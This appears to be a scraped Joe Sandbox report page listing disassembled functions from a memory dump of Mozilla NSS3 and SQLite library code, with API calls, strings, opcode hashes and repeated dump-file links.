Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 638213775-1623757624
Opcode ID: 048d28017aecf38b8bfc901b14e492b4617903540d4e070ce5cdb557f7c18998
Instruction ID: af2a48483465781fabb97fe0d710b73ee3661617b2c06f308a21d7fa0a7c180b
Opcode Fuzzy Hash: 048d28017aecf38b8bfc901b14e492b4617903540d4e070ce5cdb557f7c18998
Instruction Fuzzy Hash: 011216747083019FE704CF29C890A6BB7E5BF89308F14892EE99A87761E775E845CB53

Function 6CD08D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD514E4,6CCBCC70), ref: 6CD08D47
PR_GetCurrentThread.NSS3 ref: 6CD08D98

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD08E7B
htons.WSOCK32(?), ref: 6CD08EDB
PR_GetCurrentThread.NSS3 ref: 6CD08F99
PR_GetCurrentThread.NSS3 ref: 6CD0910A

Strings

%u.%u.%u.%u, xrefs: 6CD08E74

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 620a3e97970a04db5109324505c9a1b63705e3a03755a45c1282b55ac7793535
Instruction ID: 50221b11d263fe36d1927ce0372066c2e28ecf4f1ddae8b53d01d246a8018b2e
Opcode Fuzzy Hash: 620a3e97970a04db5109324505c9a1b63705e3a03755a45c1282b55ac7793535
Instruction Fuzzy Hash: DF026931B05251CFDB188F1DC8687AABBB2EF82304F19825FD8915BAB2C375D949C791

Function 6CCC8FB0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC9209

Strings

3333, xrefs: 6CCC925E
UUUU, xrefs: 6CCC9255

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: 3333$UUUU
API String ID: 4101233201-2679824526
Opcode ID: 768c0969bf4f56b0aa1216b6a96881e61e30bd5c30be3d832867de264309f0e9
Instruction ID: 19b5e28f3086ffe90d12addf6ba1590d89bfd8d3bab1638c143efaa1245a4a8b
Opcode Fuzzy Hash: 768c0969bf4f56b0aa1216b6a96881e61e30bd5c30be3d832867de264309f0e9
Instruction Fuzzy Hash: 16A1AF72E001159BDB04CF68CC80B9EB7B5BF48328F094129D909B7791E736AC12CBA2

Function 6CCAA480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CCCC3A2,?,?,00000000,00000000), ref: 6CCAA528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCAA6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCAA71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCAA738

Strings

database corruption, xrefs: 6CCAA6D4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCAA6CA
%s at line %d of [%.10s], xrefs: 6CCAA6D9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: 1b4ee44385e3f956262999a4089d44a0b7d32291fa2b8739ffa4d04785808489
Instruction ID: 7f13b8d41592106e29f9a69b72577b37a09442e7c3f17bc90f1061fc28f394b1
Opcode Fuzzy Hash: 1b4ee44385e3f956262999a4089d44a0b7d32291fa2b8739ffa4d04785808489
Instruction Fuzzy Hash: C391C1706087428FC714CFA9C48865AB7F1BF88314F454A6DE8958BBA1F770E846CF96

Function 6CC868E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CC868FC
PR_EnterMonitor.NSS3 ref: 6CC86924

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_EnterMonitor.NSS3 ref: 6CC8693E
TlsGetValue.KERNEL32 ref: 6CC86977
TlsGetValue.KERNEL32 ref: 6CC869B8
PR_ExitMonitor.NSS3 ref: 6CC86B1E
PR_ExitMonitor.NSS3 ref: 6CC86B39
TlsGetValue.KERNEL32 ref: 6CC86B62

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 31b727c15c204b7e8a1f91f18cf9c443c2f91dcf13e137cdf7c675a0e4201083
Instruction ID: 52a741d3971ce36e767ba0d81c2468fb31bba6b22c99d9fe981bfb10efb7ba02
Opcode Fuzzy Hash: 31b727c15c204b7e8a1f91f18cf9c443c2f91dcf13e137cdf7c675a0e4201083
Instruction Fuzzy Hash: D2917D7466A900CBDB40DF2EC48056F7FA2FB8770CB618259C8849FA19E771D981DB86

Function 6CB8EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CB8FAC8
sqlite_master, xrefs: 6CB8F0AB, 6CB8F2DA, 6CB8F757, 6CB8F93E
not authorized, xrefs: 6CB8F957, 6CB8F9BA
authorizer malfunction, xrefs: 6CB8F95C, 6CB8F9BF, 6CB8FA5E, 6CB8FA8B
table, xrefs: 6CB8F05C, 6CB8FABC, 6CB8FAC7
view, xrefs: 6CB8F061, 6CB8F071, 6CB8FAB7
sqlite_temp_master, xrefs: 6CB8F0A6, 6CB8F2D5
there is already an index named %s, xrefs: 6CB8F9D7
temporary table name must be unqualified, xrefs: 6CB8F734

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 1f97f9295744b9786ee4a8c836820dad448d90ce056b6930e001c9c1f47adc52
Instruction ID: 32e3874a961bbae9f1c2378241cb75237ac3ba6f56a6fc50a8447e071ade00a5
Opcode Fuzzy Hash: 1f97f9295744b9786ee4a8c836820dad448d90ce056b6930e001c9c1f47adc52
Instruction Fuzzy Hash: B072A070E052858FDB14CF68C480BAABBF2FF49308F1481ADD915AB792D775E846CB91

Function 6CC84540 Relevance: 10.7, APIs: 7, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC84571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6CC845B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC845C2

Part of subcall function 6CC804C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CC8461B,-00000004), ref: 6CC804DF
Part of subcall function 6CC804C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CC8461B,-00000004), ref: 6CC80534

PR_Now.NSS3 ref: 6CC84626

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1

memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6CC846C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6CC846E3
PR_SetError.NSS3(?,00000000), ref: 6CC84722

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorTime$System$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 3318965147-0
Opcode ID: 7c7f6ff8af7e386c8d8fe859487636ad14dc588c0f58c515fc94329f20920d52
Instruction ID: 80a7730dbb4be07bbae6cd5218481403215faf6d022f6742e49c9f40941c2637
Opcode Fuzzy Hash: 7c7f6ff8af7e386c8d8fe859487636ad14dc588c0f58c515fc94329f20920d52
Instruction Fuzzy Hash: 4D61E1B1E006049FEB10CF69D884B9BBBF9FF5930CF554629E9459BA51E731E848CB80

Function 6CCBAC62 Relevance: 9.1, APIs: 6, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6CCBAC6E
memset.VCRUNTIME140(?,00000000,00000003,00000017,?), ref: 6CCBAC93
memset.VCRUNTIME140(?,00000000,00000050,?,00000017,?), ref: 6CCBAD1D
IsDebuggerPresent.KERNEL32(?,?,?,?,00000017,?), ref: 6CCBAD39
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,00000017,?), ref: 6CCBAD59
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,00000017,?), ref: 6CCBAD63

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 8589e3ed25f120d8608a005f40b7924b80c7d60a5529ec9a5ee7e18d1c430648
Instruction ID: 962d2a39077ce439597e4f902ef22027b66b12b012e496980858b534f22b930f
Opcode Fuzzy Hash: 8589e3ed25f120d8608a005f40b7924b80c7d60a5529ec9a5ee7e18d1c430648
Instruction Fuzzy Hash: 443129B5D4521C9BEF10DFA5C9897CCBBB8AF48304F1041EAE54CAB250EB719A888F45

Function 6CC04420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CC04444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC04466

Part of subcall function 6CC51200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC51228
Part of subcall function 6CC51200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CC51238
Part of subcall function 6CC51200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5124B
Part of subcall function 6CC51200: PR_CallOnce.NSS3(6CD52AA4,6CC512D0,00000000,00000000,00000000,?,6CBF88A4,00000000,00000000), ref: 6CC5125D
Part of subcall function 6CC51200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CC5126F
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CC51280
Part of subcall function 6CC51200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CC5128E
Part of subcall function 6CC51200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CC5129A
Part of subcall function 6CC51200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CC512A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC0447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC0448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04494

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: a926127e7b6c1514636957da79204962a0893b072b6b24212dc183739d64d3f2
Instruction ID: fe6575f8e3063e8281138b5ebe9ac254b2547ee6fb77e935e2d8dd9a94df0c99
Opcode Fuzzy Hash: a926127e7b6c1514636957da79204962a0893b072b6b24212dc183739d64d3f2
Instruction Fuzzy Hash: 1D1175B2E007049FD720CF659C815A7B7F8FF69258B048B2EE99D52A01F371B5988791

Function 6CD0CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD0D086
PR_Malloc.NSS3(00000001), ref: 6CD0D0B9
PR_Free.NSS3(?), ref: 6CD0D138

Strings

>, xrefs: 6CD0CF5B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 8c82f0758b7c00ef9aa02306393cf21b5dcf9402b554e2d599b80ed882cfbe17
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 63D15A62B416464BEB144F7C8CA13EA77938782374F68432BD5619BBF6EA19C843C353

Function 6CCAAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cc523d2a2d317baa5802b59ce66182c6b6abcea6a100208e62494e15f77a54b
Instruction ID: 59fca2dca3cef0893b7833aadb60e676cb28be2d27590f1dc28ae6dd14501a15
Opcode Fuzzy Hash: 2cc523d2a2d317baa5802b59ce66182c6b6abcea6a100208e62494e15f77a54b
Instruction Fuzzy Hash: 94F1F271F011568BEB04DFA8C8543AAB7F8AB8A309F15822DCB15D7B54FB709942CBC1

Function 6CC825B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6CC65A85), ref: 6CC82675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6CC82659

Part of subcall function 6CC33850: TlsGetValue.KERNEL32 ref: 6CC3389F
Part of subcall function 6CC33850: EnterCriticalSection.KERNEL32(?), ref: 6CC338B3
Part of subcall function 6CC33850: PR_Unlock.NSS3(?), ref: 6CC338F1
Part of subcall function 6CC33850: TlsGetValue.KERNEL32 ref: 6CC3390F
Part of subcall function 6CC33850: EnterCriticalSection.KERNEL32(?), ref: 6CC33923
Part of subcall function 6CC33850: PR_Unlock.NSS3(?), ref: 6CC33972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC82697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6CC65A85,?,6CC65A85), ref: 6CC82717

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: 1e9286def61054b3dc3071e24ad90b22f17a5ec7572cafdc87ee6cbc9bbf8766
Instruction ID: 134aa7ba16c3f5494ba57b4ee11b8fef2d03934d76fcde44f5299568e4b05dd4
Opcode Fuzzy Hash: 1e9286def61054b3dc3071e24ad90b22f17a5ec7572cafdc87ee6cbc9bbf8766
Instruction Fuzzy Hash: 20412671A093806BFB218E19CCADFDB7BA8EFC071CF204109E95406689FA71D48586D3

Function 6CBD8540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6CBD8705

Strings

BINARY, xrefs: 6CBD8B02, 6CBD8DA2, 6CBD8E27, 6CBD8E60
automatic index on %s(%s), xrefs: 6CBD86FB

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: 1a49f13081f06f0fbc2e6df97fd35fa025f6b8e4f844351cfdc28cffb9d9ea69
Instruction ID: a893e0866c0952b76b553d96022b96b5643d529e4c128de815ff386eaf1d3730
Opcode Fuzzy Hash: 1a49f13081f06f0fbc2e6df97fd35fa025f6b8e4f844351cfdc28cffb9d9ea69
Instruction Fuzzy Hash: 0362AF74A083819FD705CF28C480B1AB7F1FF89348F159A5EE8999B751D732E846CB82

Function 6CB86F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6CB8702B
*?[, xrefs: 6CB87034, 6CB87052, 6CB87070
noskipscan*, xrefs: 6CB87067
sz=[0-9]*, xrefs: 6CB87049

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 5fc985903e3a881dbd76336a9c9ace3f1f44c7410bb56e35a312a80045e40d57
Instruction ID: cec681dd16408ae34d051af4c60402fc77329b85163d3eaff06aa1d46f13ac6d
